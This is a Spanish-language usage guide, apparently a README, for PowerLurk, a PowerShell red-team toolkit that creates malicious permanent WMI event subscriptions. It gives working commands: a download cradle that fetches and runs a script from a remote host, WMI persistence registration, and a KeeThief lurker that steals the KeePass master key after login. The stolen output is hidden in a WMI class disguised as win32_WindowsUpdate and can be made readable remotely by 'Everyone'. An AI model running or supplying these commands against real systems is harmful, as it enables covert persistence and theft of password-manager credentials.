
Eventos WMI maliciosos usando PowerShell
PowerLurk es un conjunto de herramientas de PowerShell para construir suscripciones maliciosas de eventos WMI. El objetivo es facilitar el lanzamiento de eventos WMI durante una prueba de penetración o un compromiso de equipo rojo. Consulte mi publicación Creeping on Users with WMI Events: Introducing PowerLurk para obtener información más detallada: https://pentestarmoury.com/2016/07/13/151/
Para usar PowerLurk, debe importar el módulo PowerLurk.ps1 en su instancia de PowerShell. Esto se puede hacer de un par de maneras:
Importar localmente
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
Descargar Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
Por defecto, Get-WmiEvent consulta WMI en busca de todas las instancias de __FilterToConsumerBinding y las instancias asociadas de __EventFilter y __EventConsumer. Los objetos devueltos se pueden eliminar canalizando a Remove-WmiObject.
Devuelve todos los objetos de eventos WMI activos con el nombre 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox
Eliminar objetos de eventos WMI 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
Este cmdlet es el núcleo de PowerLurk. Toma un comando, script o bloque de script como la acción y un disparador predefinido, luego crea el Filtro WMI, Consumidor y FilterToConsumerBinding necesarios para una suscripción de evento WMI permanente completamente funcional. Hay varios disparadores o filtros de eventos WMI preconfigurados. El disparador debe especificarse con el parámetro -Trigger. Hay tres consumidores para elegir: PermanentCommand, PermanentScript y LocalScriptBlock. Ejemplo de uso:
Escribir el ID del proceso notepad.exe en C:\temp\log.txt cada vez que se inicia notepad.exe
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
Limpiar evento WMI malicioso
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
crea un evento WMI permanente que ejecutará KeeThief (consulte KeeThief de @Harmj0y en https://github.com/adaptivethreat/KeeThief) 4 minutos después de que se inicie el proceso 'keepass'. Esto le da a la víctima tiempo para iniciar sesión en su base de datos KeePass.
La lógica de KeeThief y su salida se almacenan en un espacio de nombres y clase WMI personalizados o en valores de registro. Si se selecciona un espacio de nombres y clase WMI personalizados, tiene la opción de exponer ese espacio de nombres para que pueda ser leído de forma remota por 'Everyone'. Los nombres de la ruta y valores del registro se pueden personalizar usando los parámetros asociados; sin embargo, esto es opcional ya que se establecen valores predeterminados. Ejemplo de uso:
Agregar evento KeeThiefLurker usando almacenamiento de clase WMI
Add-KeeThiefLurker -EventName KeeThief -WMI
Consultar clase WMI personalizada
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
Extraer salida de KeeThief de la clase WMI
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
Limpiar KeeThiefLurker
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x